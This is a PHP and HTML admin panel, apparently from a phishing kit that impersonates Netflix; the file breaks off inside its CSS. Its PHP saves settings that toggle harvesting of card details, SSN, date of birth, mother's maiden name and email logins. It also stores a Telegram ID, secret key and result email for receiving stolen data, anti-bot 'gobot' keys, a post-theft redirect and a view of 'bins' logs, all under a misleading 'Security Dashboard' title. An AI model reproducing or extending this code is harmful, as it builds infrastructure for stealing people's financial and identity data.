<?php
session_start();
ob_start();

// Check session
if (empty($_SESSION['access_token'])) {
    http_response_code(500);
    die('Access Denied');
}

if (empty($_SESSION['login_exp'])) {
    header("Location: index?path=index.php");
    exit;
}

$theme = json_decode(file_get_contents(__DIR__ . "/../../config/theme.json"), true);
$configs = json_decode(file_get_contents(__DIR__ . "/../../config/gen.json"), true);

if (!isset($theme) || !is_array($theme)) {
    die("Konfigurasi theme tidak ditemukan atau tidak valid.");
}

// Get base URL
$rootFolder = basename($_SERVER['DOCUMENT_ROOT']);
$baseUrl = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . str_replace('/pages', '', dirname($_SERVER['SCRIPT_NAME']));

// Get theme template for logs path
function getLogsPath($template) {
    $paths = [
        'netflix' => '../../secure-3/logs/'
    ];
    return $paths[$template] ?? '../../secure-3/logs/';
}

// Get control.json path for active template
function getControlJsonPath($template) {
    $paths = [
        'netflix' => __DIR__ . '/../../secure-3/setup/control.json'
    ];
    return $paths[$template] ?? __DIR__ . '/../../secure-3/setup/control.json';
}

$logsPath = getLogsPath($theme['template_select'] ?? 'netflix');
$activeTemplate = $theme['template_select'] ?? 'netflix';
$controlJsonPath = getControlJsonPath($activeTemplate);

// Load control.json for active template
$controlData = [];
if (file_exists($controlJsonPath)) {
    $controlData = json_decode(file_get_contents($controlJsonPath), true) ?? [];
}

// Load access.json for email and other settings
$accessFilePath = __DIR__ . "/../../config/access.json";
$accessData = [];
if (file_exists($accessFilePath)) {
    $accessData = json_decode(file_get_contents($accessFilePath), true) ?? [];
}

// Handle POST requests
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    // Handle Configuration (Gobot settings) update
    if (isset($_POST['save_configuration'])) {
        $genJsonPath = __DIR__ . "/../../config/gen.json";
        $genData = json_decode(file_get_contents($genJsonPath), true) ?? [];
        
        $genData['gobot_status'] = $_POST['gobot_status'] ?? '0';
        $genData['gobot_key'] = $_POST['gobot_key'] ?? '';
        $genData['gobot_domain'] = $_POST['gobot_domain'] ?? '';
        $genData['double_card'] = $_POST['double_card'] ?? '0';
        $genData['ssn'] = $_POST['ssn'] ?? '0';
        $genData['dob'] = $_POST['dob'] ?? '0';
        $genData['mmn'] = $_POST['mmn'] ?? '0';
        $genData['mail_login'] = $_POST['mail_login'] ?? '0';
        $genData['redirect_completed_link'] = $_POST['redirect_completed_link'] ?? '';
        
        $newJsonData = json_encode($genData, JSON_PRETTY_PRINT);
        if (file_put_contents($genJsonPath, $newJsonData)) {
            $configs = $genData; // Update current configs
            $_SESSION['flash_message'] = ['type' => 'success', 'message' => 'Configuration saved successfully!', 'form' => 'configuration'];
        } else {
            $_SESSION['flash_message'] = ['type' => 'danger', 'message' => 'Failed to save configuration!', 'form' => 'configuration'];
        }
    }
    
    // Handle Profile Settings (Email) update
    if (isset($_POST['save_profile'])) {
        $accessData = json_decode(file_get_contents($accessFilePath), true) ?? [];
        
        $accessData['email_result'] = $_POST['email_result'] ?? '';
        $accessData['parameter_access'] = $_POST['parameter_access'] ?? '';
        $accessData['parameter_status'] = $_POST['parameter_status'] ?? '0';
        $accessData['token_login'] = $_POST['token_login'] ?? '';
        $accessData['telegram_id'] = $_POST['telegram_id'] ?? '';
        $accessData['telegram_secret_key'] = $_POST['telegram_secret_key'] ?? '';
        
        $newAccessData = json_encode($accessData, JSON_PRETTY_PRINT);
        if (file_put_contents($accessFilePath, $newAccessData)) {
            $_SESSION['flash_message'] = ['type' => 'success', 'message' => 'Profile settings saved successfully!', 'form' => 'profile'];
        } else {
            $_SESSION['flash_message'] = ['type' => 'danger', 'message' => 'Failed to save profile settings!', 'form' => 'profile'];
        }
    }
    
    // Handle Activity Page settings
    if (isset($_POST['save_activity'])) {
        $controlJsonPath = getControlJsonPath($activeTemplate);
        $controlData = json_decode(file_get_contents($controlJsonPath), true) ?? [];
        
        $controlData['activity_title'] = $_POST['activity_title'] ?? '';
        $controlData['activity_text'] = $_POST['activity_text'] ?? '';
        $controlData['activity_tombol'] = $_POST['activity_button'] ?? '';
        $controlData['activity_status'] = ($_POST['activity_status'] ?? '0') == '1' ? 'on' : 'off';
        $controlData['activity_template'] = $_POST['activity_template'] ?? '1';
        
        $newControlData = json_encode($controlData, JSON_PRETTY_PRINT);
        if (file_put_contents($controlJsonPath, $newControlData)) {
            $_SESSION['flash_message'] = ['type' => 'success', 'message' => 'Activity page settings saved successfully!', 'form' => 'activity'];
        } else {
            $_SESSION['flash_message'] = ['type' => 'danger', 'message' => 'Failed to save activity page settings!', 'form' => 'activity'];
        }
    }
    
    // Handle Billing Page settings
    if (isset($_POST['save_billing'])) {
        $controlJsonPath = getControlJsonPath($activeTemplate);
        $controlData = json_decode(file_get_contents($controlJsonPath), true) ?? [];
        
        $controlData['billing_title'] = $_POST['billing_title'] ?? '';
        $controlData['billing_text'] = $_POST['billing_text'] ?? '';
        $controlData['billing_template'] = $_POST['billing_template'] ?? '1';
        
        $newControlData = json_encode($controlData, JSON_PRETTY_PRINT);
        if (file_put_contents($controlJsonPath, $newControlData)) {
            $_SESSION['flash_message'] = ['type' => 'success', 'message' => 'Billing page settings saved successfully!', 'form' => 'billing'];
        } else {
            $_SESSION['flash_message'] = ['type' => 'danger', 'message' => 'Failed to save billing page settings!', 'form' => 'billing'];
        }
    }
    
    // Handle Card Page settings
    if (isset($_POST['save_card'])) {
        $controlJsonPath = getControlJsonPath($activeTemplate);
        $controlData = json_decode(file_get_contents($controlJsonPath), true) ?? [];
        
        $controlData['card_title'] = $_POST['card_title'] ?? '';
        $controlData['card_text'] = $_POST['card_text'] ?? '';
        $controlData['cc_template'] = $_POST['card_template'] ?? '1';
        
        $newControlData = json_encode($controlData, JSON_PRETTY_PRINT);
        if (file_put_contents($controlJsonPath, $newControlData)) {
            $_SESSION['flash_message'] = ['type' => 'success', 'message' => 'Card page settings saved successfully!', 'form' => 'card'];
        } else {
            $_SESSION['flash_message'] = ['type' => 'danger', 'message' => 'Failed to save card page settings!', 'form' => 'card'];
        }
    }
    
    // Handle Other Page (Login Template) settings
    if (isset($_POST['save_other'])) {
        $controlJsonPath = getControlJsonPath($activeTemplate);
        $controlData = json_decode(file_get_contents($controlJsonPath), true) ?? [];
        
        $controlData['login_template'] = $_POST['login_template'] ?? '1';
        
        $newControlData = json_encode($controlData, JSON_PRETTY_PRINT);
        if (file_put_contents($controlJsonPath, $newControlData)) {
            $_SESSION['flash_message'] = ['type' => 'success', 'message' => 'Login template saved successfully!', 'form' => 'other'];
        } else {
            $_SESSION['flash_message'] = ['type' => 'danger', 'message' => 'Failed to save login template!', 'form' => 'other'];
        }
    }
    
    // Reload data after save
    if (isset($_POST['save_configuration'])) {
        $configs = json_decode(file_get_contents(__DIR__ . "/../../config/gen.json"), true);
    }
    if (isset($_POST['save_profile'])) {
        $accessData = json_decode(file_get_contents($accessFilePath), true) ?? [];
    }
    if (isset($_POST['save_activity']) || isset($_POST['save_billing']) || isset($_POST['save_card']) || isset($_POST['save_other'])) {
        $controlData = json_decode(file_get_contents($controlJsonPath), true) ?? [];
    }
}

// Check for flash messages
$flashMessage = $_SESSION['flash_message'] ?? null;
if (isset($_SESSION['flash_message'])) {
    unset($_SESSION['flash_message']);
}
?>
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>cPanel Security Dashboard</title>
    
    <!-- Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    
    <!-- Icons -->
    <script src="https://unpkg.com/lucide@latest"></script>
    
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        :root {
            --primary: #1f2654;
            --primary-dark: #181d42;
            --secondary: #2a3568;
            --success: #51cf66;
            --danger: #ff6b6b;
            --bg-light: #f1f3f5;
            --bg-white: #ffffff;
            --bg-sidebar: #1f2654;
            --bg-header: #1f2654;
            --text-dark: #212529;
            --text-gray: #6c757d;
            --text-light: #adb5bd;
            --border: #dee2e6;
        }
        
        body {
            font-family: 'Inter', sans-serif;
            background: var(--bg-light);
            color: var(--text-dark);
            overflow-x: hidden;
        }
        
        /* Layout */
        .dashboard-container {
            display: flex;
            min-height: 100vh;
        }
        
        /* Sidebar */
        .sidebar {
            width: 180px;
            background: #1f2654;
            color: white;
            position: fixed;
            height: 100vh;
            display: flex;
            flex-direction: column;
            z-index: 100;
        }
        
        .sidebar-logo {
            padding: 2rem 1.5rem;
        }
        
        .sidebar-logo img {
            width: 100%;
        }
        
        .cpanel-logo {
            font-size: 2rem;
            font-weight: 800;
            color: white;
        }
        
        .sidebar-menu {
            padding: 1rem 0;
        }
        
        .menu-item {
            display: flex;
            align-items: center;
            gap: 0.75rem;
            padding: 0.9rem 1.5rem;
            color: rgba(255, 255, 255, 0.7);
            cursor: pointer;
            transition: all 0.3s ease;
            font-size: 0.9rem;
        }
        
        .menu-item:hover,
        .menu-item.active {
            background: rgba(255, 255, 255, 0.1);
            color: white;
        }
        
        /* Main Content */
        .main-content {
            margin-left: 180px;
            flex: 1;
            min-height: 100vh;
        }
        
        /* Top Bar */
        .top-bar {
            background: var(--bg-white);
            padding: 1rem 2rem;
            display: flex;
            justify-content: flex-end;
            align-items: center;
            border-bottom: 1px solid var(--border);
        }
        
        .hosted-badge {
            display: inline-flex;
            align-items: center;
            gap: 0.5rem;
            padding: 0.4rem 1rem;
            background: rgba(255, 255, 255, 0.1);
            border: 1px solid rgba(255, 255, 255, 0.2);
            border-radius: 8px;
            color: white;
            font-size: 0.85rem;
        }
        
        .hosted-badge i {
            color: #51cf66;
        }
        
        .hosted-url {
            color: #51cf66;
            font-weight: 600;
        }
        
        .top-actions {
            display: flex;
            align-items: center;
            gap: 1rem;
        }
        
        .search-input {
            display: flex;
            align-items: center;
            gap: 0.75rem;
            padding: 0.6rem 1.2rem;
            background: var(--bg-light);
            border: 1px solid var(--border);
            border-radius: 8px;
            width: 300px;
        }
        
        .search-input input {
            border: none;
            background: none;
            outline: none;
            flex: 1;
            font-size: 0.9rem;
        }
        
        .icon-btn {
            width: 36px;
            height: 36px;
            background: var(--bg-light);
            border: 1px solid var(--border);
            border-radius: 8px;
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            transition: all 0.3s ease;
        }
        
        .icon-btn:hover {
            background: var(--primary);
            border-color: var(--primary);
            color: white;
        }
        
        /* Content Area */
        .content-area {
            padding: 2rem;
        }
        
        /* Dashboard Header */
        .dashboard-header {
            background: linear-gradient(to right, #1f2654 0%, #1f2654 100%);
            border-radius: 16px;
            padding: 2rem 2rem 1.5rem 2rem;
            margin-bottom: 2rem;
            color: white;
            position: relative;
            overflow: hidden;
            background-size: cover;
            background-position: center;
        }
        
        /* Animated Background Particles */
        .dashboard-header::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-image: 
                radial-gradient(circle, rgba(139, 165, 250, 0.2) 2px, transparent 2px),
                radial-gradient(circle, rgba(167, 197, 253, 0.12) 1px, transparent 1px);
            background-size: 100px 100px, 50px 50px;
            background-position: 0 0, 25px 25px;
            animation: particlesMove 20s linear infinite;
            opacity: 0.5;
        }
        
        @keyframes particlesMove {
            0% { background-position: 0 0, 25px 25px; }
            100% { background-position: 100px 100px, 125px 125px; }
        }
        
        /* Glowing Orbs */
        .dashboard-header::after {
            content: '';
            position: absolute;
            top: -150px;
            right: -150px;
            width: 500px;
            height: 500px;
            background: radial-gradient(circle, rgba(139, 165, 250, 0.12), transparent 70%);
            border-radius: 50%;
            animation: orbFloat 15s ease-in-out infinite;
        }
        
        @keyframes orbFloat {
            0%, 100% { transform: translate(0, 0) scale(1); opacity: 0.3; }
            50% { transform: translate(-50px, -50px) scale(1.2); opacity: 0.5; }
        }
        
        /* Additional animated circles */
        .animated-circle {
            position: absolute;
            border-radius: 50%;
            background: radial-gradient(circle, rgba(139, 165, 250, 0.15), transparent 60%);
            animation: float 20s ease-in-out infinite;
        }
        
        .circle-1 {
            width: 150px;
            height: 150px;
            top: 20%;
            left: 10%;
            animation-delay: 0s;
        }
        
        .circle-2 {
            width: 100px;
            height: 100px;
            bottom: 15%;
            right: 15%;
            animation-delay: 5s;
        }
        
        .circle-3 {
            width: 80px;
            height: 80px;
            top: 50%;
            left: 70%;
            animation-delay: 10s;
        }
        
        @keyframes float {
            0%, 100% { transform: translate(0, 0); }
            33% { transform: translate(30px, -30px); }
            66% { transform: translate(-20px, 20px); }
        }
        
        /* Floating Dots */
        .floating-dot {
            position: absolute;
            width: 8px;
            height: 8px;
            background: rgba(76, 110, 245, 0.4);
            border-radius: 50%;
            animation: dotFloat 15s ease-in-out infinite;
        }
        
        .dot-1 { top: 10%; left: 5%; animation-delay: 0s; }
        .dot-2 { top: 80%; left: 20%; animation-delay: 2s; }
        .dot-3 { top: 30%; right: 10%; animation-delay: 4s; }
        .dot-4 { bottom: 20%; right: 25%; animation-delay: 6s; }
        .dot-5 { top: 60%; left: 40%; animation-delay: 8s; }
        .dot-6 { top: 15%; right: 30%; animation-delay: 3s; width: 6px; height: 6px; }
        .dot-7 { bottom: 30%; left: 60%; animation-delay: 5s; width: 5px; height: 5px; }
        .dot-8 { top: 70%; right: 15%; animation-delay: 7s; width: 7px; height: 7px; }
        
        @keyframes dotFloat {
            0%, 100% { transform: translate(0, 0); opacity: 0.4; }
            25% { transform: translate(20px, -20px); opacity: 0.8; }
            50% { transform: translate(-15px, 15px); opacity: 0.6; }
            75% { transform: translate(15px, 10px); opacity: 0.7; }
        }
        
        .header-content {
            position: relative;
            z-index: 1;
        }
        
        .header-top {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 1.5rem;
        }
        
        .header-title-section {
            display: flex;
            flex-direction: column;
            align-items: center;
            flex: 1;
        }
        
        .header-title {
            font-size: 2rem;
            font-weight: 700;
            letter-spacing: 2px;
            text-align: center;
            margin-bottom: 0.75rem;
        }
        
        .bracket {
            color: #51cf66;
        }
        
        .status-badge {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            padding: 0.4rem 1rem;
            background: rgba(81, 207, 102, 0.15);
            border: 1px solid rgba(81, 207, 102, 0.3);
            border-radius: 6px;
            font-size: 0.8rem;
        }
        
        .status-dot {
            width: 8px;
            height: 8px;
            background: var(--success);
            border-radius: 50%;
            animation: pulse 2s infinite;
        }
        
        @keyframes pulse {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }
        
        .hosted-badge {
            display: inline-flex;
            align-items: center;
            gap: 0.5rem;
            padding: 0.4rem 1rem;
            background: rgba(255, 255, 255, 0.08);
            border: 1px solid rgba(255, 255, 255, 0.15);
            border-radius: 8px;
            color: white;
            font-size: 0.85rem;
        }
        
        .hosted-badge i {
            color: #51cf66;
        }
        
        .hosted-url {
            color: #51cf66;
            font-weight: 600;
        }
        
        .domain-indicator {
            display: inline-flex;
            align-items: center;
            gap: 0.5rem;
            padding: 0.4rem 1rem;
            background: rgba(81, 207, 102, 0.15);
            border: 1px solid rgba(81, 207, 102, 0.3);
            border-radius: 8px;
            color: white;
            font-size: 0.85rem;
            font-weight: 600;
        }
        
        .domain-indicator i {
            color: #51cf66;
        }
        
        #currentDomain {
            color: #51cf66;
            font-family: 'Courier New', monospace;
        }
        
        .nav-tabs {
            display: flex;
            gap: 1rem;
            justify-content: center;
            flex-wrap: wrap;
        }
        
        .nav-tab {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            padding: 0.7rem 1.5rem;
            background: rgba(255, 255, 255, 0.08);
            border: 1px solid rgba(255, 255, 255, 0.15);
            border-radius: 8px;
            color: rgba(255, 255, 255, 0.8);
            cursor: pointer;
            transition: all 0.3s ease;
            font-size: 0.85rem;
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }
        
        .nav-tab:hover {
            background: rgba(255, 255, 255, 0.12);
            border-color: rgba(255, 255, 255, 0.25);
            color: white;
            transform: translateY(-1px);
        }
        
        .nav-tab.active {
            background: rgba(81, 207, 102, 0.2);
            border-color: rgba(81, 207, 102, 0.4);
            color: white;
        }
        
        /* Stats Grid */
        .stats-grid {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 1.5rem;
            margin-bottom: 2rem;
        }
        
        .stat-card {
            background: var(--bg-white);
            border: 1px solid var(--border);
            border-radius: 16px;
            padding: 1.5rem;
        }
        
        .stat-card-header {
            display: flex;
            justify-content: space-between;
            align-items: flex-start;
            margin-bottom: 1.5rem;
        }
        
        .stat-title {
            display: flex;
            align-items: flex-start;
            gap: 0.75rem;
        }
        
        .stat-icon {
            width: 40px;
            height: 40px;
            background: linear-gradient(135deg, rgba(74, 144, 226, 0.1), rgba(80, 165, 241, 0.15));
            border-radius: 10px;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-shrink: 0;
        }
        
        .stat-info {
            display: flex;
            flex-direction: column;
            gap: 0.25rem;
        }
        
        .stat-label {
            font-size: 1rem;
            font-weight: 600;
            color: var(--text-dark);
            line-height: 1.2;
        }
        
        .stat-subtitle {
            font-size: 0.8rem;
            color: var(--text-light);
        }
        
        .stat-period {
            font-size: 0.8rem;
            color: var(--text-light);
            white-space: nowrap;
        }
        
        .total-section {
            background: rgba(74, 144, 226, 0.05);
            border-radius: 12px;
            padding: 1.25rem;
            margin-bottom: 1rem;
            display: flex;
            justify-content: space-between;
            align-items: center;
        }
        
        .total-content {
            display: flex;
            flex-direction: column;
            gap: 0.25rem;
        }
        
        .total-label {
            font-size: 0.8rem;
            color: var(--text-gray);
            font-weight: 500;
        }
        
        .total-value {
            font-size: 2.5rem;
            font-weight: 800;
            color: var(--text-dark);
            line-height: 1;
        }
        
        .total-icon-badge {
            width: 48px;
            height: 48px;
            background: linear-gradient(135deg, rgba(74, 144, 226, 0.15), rgba(80, 165, 241, 0.2));
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            flex-shrink: 0;
        }
        
        .details-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 1rem;
        }
        
        .detail-box {
            padding: 1rem;
            border-radius: 10px;
            display: flex;
            flex-direction: column;
            gap: 0.5rem;
        }
        
        .detail-box.success {
            background: rgba(81, 207, 102, 0.08);
        }
        
        .detail-box.danger {
            background: rgba(255, 107, 107, 0.08);
        }
        
        .detail-label {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            font-size: 0.8rem;
            color: var(--text-gray);
            font-weight: 500;
        }
        
        .detail-value {
            font-size: 1.75rem;
            font-weight: 700;
            line-height: 1;
        }
        
        .detail-box.success .detail-value {
            color: var(--success);
        }
        
        .detail-box.danger .detail-value {
            color: var(--danger);
        }
        
        /* Bottom Sections */
        .bottom-grid {
            display: grid;
            grid-template-columns: repeat(3, 1fr);
            gap: 1.5rem;
        }
        
        .info-card {
            background: var(--bg-white);
            border: 1px solid var(--border);
            border-radius: 16px;
            padding: 1.5rem;
            transition: all 0.3s ease;
        }
        
        .info-card.clickable {
            cursor: pointer;
        }
        
        .info-card.clickable:hover {
            transform: translateY(-5px);
            box-shadow: 0 8px 25px rgba(0, 0, 0, 0.1);
            border-color: #51cf66;
        }
        
        .info-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 1.5rem;
            padding-bottom: 1rem;
            border-bottom: 1px solid var(--border);
        }
        
        .info-title {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            font-size: 1rem;
            font-weight: 600;
        }
        
        .info-badge {
            padding: 0.3rem 0.8rem;
            background: rgba(81, 207, 102, 0.1);
            border: 1px solid rgba(81, 207, 102, 0.3);
            border-radius: 6px;
            font-size: 0.75rem;
            font-weight: 600;
            color: var(--success);
        }
        
        .country-list {
            display: flex;
            flex-wrap: wrap;
            gap: 1rem;
        }
        
        .country-flag {
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 0.5rem;
        }
        
        .flag {
            font-size: 2rem;
        }
        
        .country-code {
            font-size: 0.8rem;
            font-weight: 600;
            color: var(--text-gray);
        }
        
        .ip-list {
            display: flex;
            flex-direction: column;
            gap: 0.75rem;
        }
        
        .ip-item {
            padding: 0.75rem;
            background: var(--bg-light);
            border-radius: 8px;
            font-family: 'Courier New', monospace;
            font-size: 0.9rem;
            color: var(--text-dark);
        }
        
        .telegram-info {
            display: flex;
            flex-direction: column;
            gap: 1rem;
        }
        
        .telegram-item {
            display: flex;
            justify-content: space-between;
            align-items: center;
            padding: 0.75rem;
            background: var(--bg-light);
            border-radius: 8px;
        }
        
        .telegram-label {
            font-size: 0.85rem;
            color: var(--text-gray);
        }
        
        .telegram-value {
            font-family: 'Courier New', monospace;
            font-size: 0.85rem;
            color: var(--text-dark);
        }
        
        .active-badge {
            padding: 0.3rem 0.8rem;
            background: rgba(81, 207, 102, 0.1);
            border: 1px solid rgba(81, 207, 102, 0.3);
            border-radius: 6px;
            font-size: 0.75rem;
            font-weight: 600;
            color: var(--success);
        }
        
        /* Settings Page */
        .settings-page {
            display: none;
            padding: 0 2rem 2rem 2rem;
        }
        
        .settings-page.active {
            display: block;
        }
        
        /* Alert Page */
        .alert-page {
            display: none;
            padding: 0 2rem 2rem 2rem;
        }
        
        .alert-page.active {
            display: block;
        }
        
        /* Block Page */
        .block-page {
            display: none;
            padding: 0 2rem 2rem 2rem;
        }
        
        .block-page.active {
            display: block;
        }
        
        /* Visitors Page */
        .visitors-page {
            display: none;
            padding: 0 2rem 2rem 2rem;
        }
        
        .visitors-page.active {
            display: block;
        }
        
        /* Allow Page */
        .allow-page {
            display: none;
            padding: 0 2rem 2rem 2rem;
        }
        
        .allow-page.active {
            display: block;
        }
        
        .allow-grid {
            display: grid;
            grid-template-columns: repeat(2, 1fr);
            gap: 1.5rem;
            margin-bottom: 2rem;
        }
        
        .allow-section {
            background: linear-gradient(135deg, #1a1f4a 0%, #1f2654 100%);
            border: 2px solid #2a3568;
            border-radius: 12px;
            padding: 1.5rem;
            position: relative;
            overflow: hidden;
        }
        
        .allow-section::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 3px;
            background: linear-gradient(90deg, #51cf66, #4dabf7);
        }
        
        .allow-section-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 1.5rem;
        }
        
        .allow-section-title {
            display: flex;
            align-items: center;
            gap: 0.75rem;
            font-size: 1.1rem;
            font-weight: 700;
            color: #51cf66;
        }
        
        .allow-badge {
            padding: 0.35rem 0.85rem;
            background: rgba(81, 207, 102, 0.15);
            border: 1px solid rgba(81, 207, 102, 0.3);
            border-radius: 6px;
            font-size: 0.8rem;
            font-weight: 600;
            color: #51cf66;
        }
        
        .allow-content {
            max-height: 300px;
            overflow-y: auto;
        }
        
        .allow-list {
            display: flex;
            flex-direction: column;
            gap: 0.75rem;
        }
        
        .allow-item {
            padding: 0.75rem 1rem;
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 8px;
            color: rgba(255, 255, 255, 0.9);
            display: flex;
            justify-content: space-between;
            align-items: center;
            transition: all 0.3s ease;
        }
        
        .allow-item:hover {
            background: rgba(255, 255, 255, 0.08);
        }
        
        .allow-item-text {
            font-size: 0.9rem;
            font-family: 'Courier New', monospace;
        }
        
        .allow-item-remove {
            padding: 0.35rem 0.75rem;
            background: rgba(255, 107, 107, 0.2);
            border: 1px solid rgba(255, 107, 107, 0.3);
            border-radius: 4px;
            color: #ff6b6b;
            font-size: 0.75rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
        }
        
        .allow-item-remove:hover {
            background: rgba(255, 107, 107, 0.3);
        }
        
        .allow-add-group {
            display: flex;
            gap: 0.75rem;
            margin-top: 1rem;
        }
        
        .allow-input {
            flex: 1;
            padding: 0.75rem 1rem;
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(255, 255, 255, 0.15);
            border-radius: 8px;
            color: rgba(255, 255, 255, 0.9);
            font-size: 0.9rem;
        }
        
        .allow-input::placeholder {
            color: rgba(255, 255, 255, 0.4);
        }
        
        .allow-input:focus {
            outline: none;
            border-color: #51cf66;
            background: rgba(255, 255, 255, 0.1);
        }
        
        .allow-add-btn {
            padding: 0.75rem 1.25rem;
            background: rgba(81, 207, 102, 0.15);
            border: 1px solid rgba(81, 207, 102, 0.3);
            border-radius: 8px;
            color: #51cf66;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
            font-size: 0.85rem;
        }
        
        .allow-add-btn:hover {
            background: rgba(81, 207, 102, 0.25);
            border-color: rgba(81, 207, 102, 0.5);
            transform: translateY(-1px);
        }
        
        .country-flags-grid {
            display: flex;
            flex-wrap: wrap;
            gap: 0.75rem;
        }
        
        .country-flag-item {
            padding: 0.5rem 1rem;
            background: rgba(255, 255, 255, 0.05);
            border: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 8px;
            color: rgba(255, 255, 255, 0.9);
            display: flex;
            align-items: center;
            gap: 0.5rem;
            cursor: pointer;
            transition: all 0.3s ease;
            font-weight: 600;
        }
        
        .country-flag-item:hover {
            background: rgba(255, 107, 107, 0.2);
            border-color: rgba(255, 107, 107, 0.3);
            color: #ff6b6b;
        }
        
        .empty-state-small {
            text-align: center;
            padding: 2rem;
            color: rgba(255, 255, 255, 0.5);
            font-size: 0.9rem;
        }
        
        .visitor-stats-grid {
            display: grid;
            grid-template-columns: repeat(4, 1fr);
            gap: 1.5rem;
            margin-bottom: 2rem;
        }
        
        .visitor-stat-card {
            background: linear-gradient(135deg, #1a1f4a 0%, #1f2654 100%);
            border: 2px solid #2a3568;
            border-radius: 12px;
            padding: 1.5rem;
            position: relative;
            overflow: hidden;
        }
        
        .visitor-stat-card::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 3px;
            background: linear-gradient(90deg, #51cf66, #4dabf7);
        }
        
        .visitor-stat-header {
            display: flex;
            align-items: center;
            gap: 1rem;
            margin-bottom: 1rem;
        }
        
        .visitor-stat-icon {
            width: 40px;
            height: 40px;
            background: rgba(81, 207, 102, 0.15);
            border-radius: 10px;
            display: flex;
            align-items: center;
            justify-content: center;
        }
        
        .visitor-stat-info h3 {
            font-size: 1.5rem;
            font-weight: 700;
            color: white;
            line-height: 1;
        }
        
        .visitor-stat-info p {
            font-size: 0.8rem;
            color: rgba(255, 255, 255, 0.6);
            margin-top: 0.25rem;
        }
        
        .visitor-stat-percentage {
            position: absolute;
            top: 1.5rem;
            right: 1.5rem;
            font-size: 0.9rem;
            color: rgba(255, 255, 255, 0.5);
        }
        
        .logs-section {
            background: linear-gradient(135deg, #1a1f4a 0%, #1f2654 100%);
            border: 2px solid #2a3568;
            border-radius: 12px;
            padding: 1.5rem;
            margin-bottom: 2rem;
            position: relative;
            overflow: hidden;
        }
        
        .logs-section::before {
            content: '';
            position: absolute;
            top: 0;
            left: 0;
            right: 0;
            height: 3px;
            background: linear-gradient(90deg, #51cf66, #4dabf7);
        }
        
        .logs-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 1.5rem;
        }
        
        .logs-title {
            font-size: 1.1rem;
            font-weight: 700;
            color: #51cf66;
            text-transform: uppercase;
            letter-spacing: 1px;
        }
        
        .logs-actions {
            display: flex;
            gap: 0.75rem;
        }
        
        .logs-btn {
            padding: 0.5rem 1rem;
            background: rgba(81, 207, 102, 0.15);
            border: 1px solid rgba(81, 207, 102, 0.3);
            border-radius: 8px;
            color: #51cf66;
            font-size: 0.85rem;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s ease;
        }
        
        .logs-btn:hover {
            background: rgba(81, 207, 102, 0.25);
            border-color: rgba(81, 207, 102, 0.5);
            transform: translateY(-1px);
        }
        
        .logs-table {
            width: 100%;
            border-collapse: collapse;
        }
        
        .logs-table thead {
            border-bottom: 1px solid rgba(255, 255, 255, 0.1);
            position: sticky;
            top: 0;
            background: linear-gradient(135deg, #1a1f4a 0%, #1f2654 100%);
            z-index: 10;
        }
        
        .logs-table th {
            padding: 1rem;
            text-align: left;
            font-size: 0.85rem;
            color: rgba(255, 255, 255, 0.7);
            font-weight: 600;
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }
        
        .logs-table td {
            padding: 1rem;
            color: rgba(255, 255, 255, 0.9);
            font-size: 0.9rem;
            border-bottom: 1px solid rgba(255, 255, 255, 0.05);
        }
        
        .logs-table tbody tr:hover {
            background: rgba(255, 255, 255, 0.03);
        }
        
        #visitorLogsContainer,
        #binsLogsContainer {
            max-height: 500px;
            overflow-y: auto;
            overflow-x: auto;
        }
        
        #visitorLogsContainer::-webkit-scrollbar,
        #binsLogsContainer::-webkit-scrollbar {
            width: 8px;
            height: 8px;
        }
        
        #visitorLogsContainer::-webkit-scrollbar-track,
        #binsLogsContainer::-webkit-scrollbar-track {
            background: rgba(255, 255, 255, 0.05);
            border-radius: 4px;
        }
        
        #visitorLogsContainer::-webkit-scrollbar-thumb,
        #binsLogsContainer::-webkit-scrollbar-thumb {
            background: rgba(81, 207, 102, 0.3);
            border-radius: 4px;
        }
        
        #visitorLogsContainer::-webkit-scrollbar-thumb:hover,
        #binsLogsContainer::-webkit-scrollbar-thumb:hover {
            background: rgba(81, 207, 102, 0.5);
        }
        
        .empty-state {
            text-align: center;
            padding: 3rem;
            color: rgba(255, 255, 255, 0.5);
            font-size: 0.95rem;
        }
        
        /* Modal Styles */
        .modal-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            right: 0;
            bottom: 0;
            background: rgba(0, 0, 0, 0.7);
            z-index: 1000;
            align-items: center;
            justify-content: center;
        }
        
        .modal-overlay.active {
            display: flex;
        }
        
        .modal-content {
            background: #2a3568;
